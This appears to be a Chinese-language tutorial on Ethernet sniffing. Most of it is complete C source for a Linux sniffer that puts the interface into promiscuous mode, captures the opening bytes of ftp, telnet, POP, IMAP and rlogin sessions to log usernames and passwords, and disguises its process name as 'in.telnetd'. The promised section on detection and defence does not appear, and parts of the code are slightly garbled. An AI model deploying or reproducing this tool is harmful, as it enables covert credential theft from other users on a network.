|
Sniffer是一种常用的收集有用数据方法,这些数据可以是用户的帐号和密码,可以是一些商用机密数据等等。为了对sniffer的工作原理有一个深入的了解,第二节给出了一个sniffer的源程序,并对它进行讲解。最后的第三节是探测和防范sniffer的介绍。
第一节 Sniffer简介
什么是以太网sniffing?
以太网sniffing 是指对以太网设备上传送的数据包进行侦听,发现感兴趣的包。如果发现符合条件的包,就把它存到一个log文件中去。通常设置的这些条件是包含字\"username\"或\"password\"的包。
它的目的是将网络层放到promiscuous模式,从而能干些事情。Promiscuous模式是指网络上的所有设备都对总线上传送的数据进行侦听,并不仅仅是它们自己的数据。根据第二章中有关对以太网的工作原理的基本介绍,可以知道:一个设备要向某一目标发送数据时,它是对以太网进行广播的。一个连到以太网总线上的设备在任何时间里都在接受数据。不过只是将属于自己的数据传给该计算机上的应用程序。
利用这一点,可以将一台计算机的网络连接设置为接受所有以太网总线上的数据,从而实现sniffer。
sniffer通常运行在路由器,或有路由器功能的主机上。这样就能对大量的数据进行监控。sniffer属第二层次的攻击。通常是攻击者已经进入了目标系统,然后使用sniffer这种攻击手段,以便得到更多的信息。
sniffer除了能得到口令或用户名外,还能得到更多的其他信息,比如一个其他重要的信息,在网上传送的金融信息等等。sniffer几乎能得到任何以太网上的传送的数据包。
有许多运行与不同平台上的sniffer程序。
Linux tcpdump
DOS ETHLOAD、The Gobbler、LanPatrol、LanWatch 、Netmon、Netwatch、 Netzhack
上面的这些程序,可以从互连网上找到。
使用sniffer程序或编写一个功能强大的sniffer程序需要一些网络方面的知识。因为如果没有恰当的设置这个程序,根本就不能从大量的数据中找出需要的信息。
通常sniffer程序只看一个数据包的前200-300个字节的数据,就能发现想口令和用户名这样的信息。
第二节 一个sniffer源程序
下面是一个Linux以太网sniffer的源程序。可以根据需要加强这个程序。
/* Linux sniffer.c 本程序已经在Red Hat 5.2上调试通过*/
#include < string.h>
#include < ctype.h>
#include < stdio.h>
#include < netdb.h>
#include < sys/file.h>
#include < sys/time.h>
#include < sys/socket.h>
#include < sys/ioctl.h>
#include < sys/signal.h>
#include < net/if.h>
#include < arpa/inet.h>
#include < netinet/in.h>
#include < netinet/ip.h>
#include < netinet/tcp.h>
#include < netinet/if_ether.h>
int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
void cleanup(int);
struct etherpacket
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char buff[8192];
}ep;
struct
{
unsigned long saddr;
unsigned long daddr;
unsigned short sport;
unsigned short dport;
int bytes_read;
char active;
time_t start_time;
} victim;
struct iphdr *ip;
struct tcphdr *tcp;
int s;
FILE *fp;
#define CAPTLEN 512
#define TIMEOUT 30
#define TCPLOG \"tcp.log\"
int openintf(char *d)
{
int fd;
struct ifreq ifr;
int s;
fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
if(fd < 0)
{
perror(\"cant get SOCK_PACKET socket\");
exit(0);
}
strcpy(ifr.ifr_name, d);
s=ioctl(fd, SIOCGIFFLAGS, &ifr);
if(s < 0)
{
close(fd);
perror(\"cant get flags\");
exit(0);
}
ifr.ifr_flags |= IFF_PROMISC;
s=ioctl(fd, SIOCSIFFLAGS, &ifr);
if(s < 0) perror(\"can not set promiscuous mode\");
return fd;
}
int read_tcp(int s)
{
int x;
while(1)
{
x=read(s, (struct etherpacket *)&ep, sizeof(ep));
if(x > 1)
{
if(filter()==0) continue;
x=x-54;
if(x < 1) continue;
return x;
}
}
}
int filter(void)
{
int p;
p=0;
if(ip->protocol != 6) return 0;
if(victim.active != 0)
if(victim.bytes_read > CAPTLEN)
{
fprintf(fp, \"\\n----- [CAPLEN Exceeded]\\n\");
clear_victim();
return 0;
}
if(victim.active != 0)
if(time(NULL) > (victim.start_time + TIMEOUT))
{
fprintf(fp, \"\\n----- [Timed Out]\\n\");
clear_victim();
return 0;
}
if(ntohs(tcp->dest)==21) p=1; /* ftp */
if(ntohs(tcp->dest)==23) p=1; /* telnet */
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
if(ntohs(tcp->dest)==109) p=1; /* pop2 */
if(ntohs(tcp->dest)==143) p=1; /* imap2 */
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
if(victim.active == 0)
if(p == 1)
if(tcp->syn == 1)
{
victim.saddr=ip->saddr;
victim.daddr=ip->daddr;
victim.active=1;
victim.sport=tcp->source;
victim.dport=tcp->dest;
victim.bytes_read=0;
victim.start_time=time(NULL);
print_header();
}
if(tcp->dest != victim.dport) return 0;
if(tcp->source != victim.sport) return 0;
if(ip->saddr != victim.saddr) return 0;
if(ip->daddr != victim.daddr) return 0;
if(tcp->rst == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, \"\\n----- [RST]\\n\");
clear_victim();
return 0;
}
if(tcp->fin == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, \"\\n----- [FIN]\\n\");
clear_victim();
return 0;
}
return 1;
}
int print_header(void)
{
fprintf(fp, \"\\n\");
fprintf(fp, \"%s => \", hostlookup(ip->saddr));
fprintf(fp, \"%s [%d]\\n\", hostlookup(ip->daddr), ntohs(tcp->dest));
}
int print_data(int datalen, char *data)
{
int i=0;
int t=0;
victim.bytes_read=victim.bytes_read+datalen;
for(i=0;i != datalen;i++)
{
if(data == 13) { fprintf(fp, \"\\n\"); t=0; }
if(isprint(data)) {fprintf(fp, \"%c\", data);t++;}
if(t > 75) {t=0;fprintf(fp, \"\\n\");}
}
}
main(int argc, char **argv)
{
sprintf(argv[0],\"%s\",\"in.telnetd\");
s=openintf(\"eth0\");
ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
signal(SIGHUP, SIG_IGN);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
signal(SIGKILL, cleanup);
signal(SIGQUIT, cleanup);
if(argc == 2) fp=stdout;
else fp=fopen(TCPLOG, \"at\");
if(fp == NULL) { fprintf(stderr, \"cant open log\\n\");exit(0);}
clear_victim();
for(;;)
{
read_tcp(s);
if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
fflush(fp);
}
}
char *hostlookup(unsigned long int in)
{
static char blah[1024];
struct in_addr i;
struct hostent * he;
i.s_addr=in;
he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
if(he == NULL)
strcpy(blah, inet_ntoa(i));
else
strcpy(blah,he->h_name);
return blah;
}
void clear_victim(void)
{
victim.saddr=0;
victim.daddr=0;
victim.sport=0;
victim.dport=0;
victim.active=0;
victim.bytes_read=0;
victim.start_time=0;
}
void cleanup(int sig)
{
fprintf(fp, \"Exiting...\\n\");
close(s);
fclose(fp);
exit(0);
} |
|